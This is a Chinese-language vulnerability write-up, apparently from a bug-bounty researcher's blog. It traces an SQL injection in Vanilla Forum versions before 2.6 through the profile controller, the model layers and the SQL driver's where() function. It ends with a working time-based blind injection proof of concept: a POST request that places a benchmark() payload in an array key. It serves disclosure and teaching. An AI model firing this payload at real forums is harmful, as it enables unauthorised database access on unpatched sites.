Vanilla SQL Injection Vulnerability
簡介
該漏洞是四月份我在h1上挖到的, ofollow,noindex" target="_blank">原文 是英文,為了方便分享,我重新寫成中文並發表在部落格上。
Vanilla是國外的一個論壇程式,是一款開源的PHP程式。github地址為:https://github.com/vanilla/vanilla
在Vanilla Forum 2.6之前,存在一個SQL%E6%B3%A8%E5%85%A5/">SQL注入漏洞,攻擊者只需要註冊登入一個會員即可利用該漏洞。
漏洞分析
首先在applications/dashboard/controllers/class.profilecontroller.php:274
public function deleteInvitation($invitationID) { $this->permission('Garden.SignIn.Allow'); if (!$this->Form->authenticatedPostBack()) { throw forbiddenException('GET'); } $invitationModel = new InvitationModel(); $invitationModel->delete($invitationID); $this->informMessage(t('The invitation was removed successfully.')); $this->jsonTarget(".js-invitation[data-id=\"{$invitationID}\"]", '', 'SlideUp'); $this->render('Blank', 'Utility'); }
這個函式有個形參$invitationID,這個值其實是我們通過URL傳遞進來的,是我們可控的,並且這裡需要注意的是,該值是可以為一個數組。
首先該函式第一行判斷了許可權,需要登入。
第二行是一個csrf token的判斷,利用這個漏洞不能直接發POST包。
然後下面就到了關鍵的地方,可以看到這裡將$invitationID帶入到了delete函式中,我們跟蹤一下該函式。
applications/dashboard/models/class.invitationmodel.php:225
public function delete($where = [], $options = []) { if (is_numeric($where)) { deprecated('InvitationModel->delete(int)', 'InvitationModel->deleteID(int)'); $result = $this->deleteID($where, $options); return $result; } parent::delete($where, $options); }
這裡的引數$where就是我們上文的$invitationID,是可控的,然後這裡又將$where帶入到了另外一個delete函式中,繼續追蹤。
public function delete($where = [], $options = []) { if (is_numeric($where)) { deprecated('Gdn_Model->delete(int)', 'Gdn_Model->deleteID()'); $where = [$this->PrimaryKey => $where]; } $resetData = false; if ($options === true || val('reset', $options)) { deprecated('Gdn_Model->delete() with reset true'); $resetData = true; } elseif (is_numeric($options)) { deprecated('The $limit parameter is deprecated in Gdn_Model->delete(). Use the limit option.'); $limit = $options; } else { $options += ['rest' => true, 'limit' => null]; $limit = $options['limit']; } if ($resetData) { $result = $this->SQL->delete($this->Name, $where, $limit); } else { $result = $this->SQL->noReset()->delete($this->Name, $where, $limit); } return $result; }
然後該函式中又將$where帶入到了$this->SQL->noReset()->delete函式中,繼續追蹤。
library/database/class.sqldriver.php:333
public function delete($table = '', $where = '', $limit = false) { if ($table == '') { if (!isset($this->_Froms[0])) { return false; } $table = $this->_Froms[0]; } elseif (is_array($table)) { foreach ($table as $t) { $this->delete($t, $where, $limit, false); } return; } else { $table = $this->escapeIdentifier($this->Database->DatabasePrefix.$table); } if ($where != '') { $this->where($where); } if ($limit !== false) { $this->limit($limit); } if (count($this->_Wheres) == 0) { return false; } $sql = $this->getDelete($table, $this->_Wheres, $this->_Limit); return $this->query($sql, 'delete'); }
該函式中對我們傳遞進來的$where有個判斷和操作,如果不為空,就帶入到where函式中去,跟蹤一下該函式。
public function where($field, $value = null, $escapeFieldSql = true, $escapeValueSql = true) { if (!is_array($field)) { $field = [$field => $value]; } foreach ($field as $subField => $subValue) { if (is_array($subValue)) { if (count($subValue) == 1) { $firstVal = reset($subValue); $this->where($subField, $firstVal); } else { $this->whereIn($subField, $subValue); } } else { $whereExpr = $this->conditionExpr($subField, $subValue, $escapeFieldSql, $escapeValueSql); if (strlen($whereExpr) > 0) { $this->_where($whereExpr); } } } return $this; }
這裡其實就是一個組裝where語句的函式,由於$where我們可控制,導致這裡組裝後的where語句的欄位處也可以控制,所以就產生了一個SQL注入漏洞。
漏洞證明
- 該漏洞利用需要使用者登陸,因為是論壇,所以註冊登入不是什麼難事。
- 開頭提了一下,由於有CSRF TOKEN的校驗,所以不能直接發POST包,但是我們可以隨便點選論壇一個正常的POST請求,然後用Burpsuite來改即可。
- 這裡我使用的是延時注入,用的是benchmark函式。不同環境的延時時間也不一樣的。
附上POC:
POST /profile/deleteInvitation?invitationID[1%3dbenchmark(40000000,sha(1))+and+1]=balisong HTTP/1.1 Host: localhost Content-Length: 29 Pragma: no-cache Cache-Control: no-cache Accept: application/json, text/javascript, */*; q=0.01 Origin: http://localhost X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: http://localhost/profile/ Accept-Language: zh-CN,zh;q=0.9 Cookie: Drupal.toolbar.collapsed=0; hd_sid=udVsUw; XDEBUG_SESSION=PHPSTORM; Vanilla=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE1MjkyMDE2NTAsImlhdCI6MTUyNjYwOTY1MCwic3ViIjo3fQ.of1gk2CHyzeomQNSMWz_8WXXi_FfCwKxyctVWZlemKI; Vanilla-Vv=1526609650; Vanilla-tk=caEyM0dSVZC0xDhU%3A7%3A1526609650%3Ab23a6efff2dd9f026ffa87db10ba4119 Connection: close TransientKey=caEyM0dSVZC0xDhU
然後這裡延時了9秒。如圖所示:

結語
其實這種漏洞很常見,很多程式在處理SQL語句的時候,都採用的這種寫法,當然這種寫法是沒錯的。主要還是因為開發人員太信任外部的輸入了。
該程式在該版本相同型別的漏洞還有一個,大家有興趣的話可以自己找一找。(當然我已經提交給廠商啦。)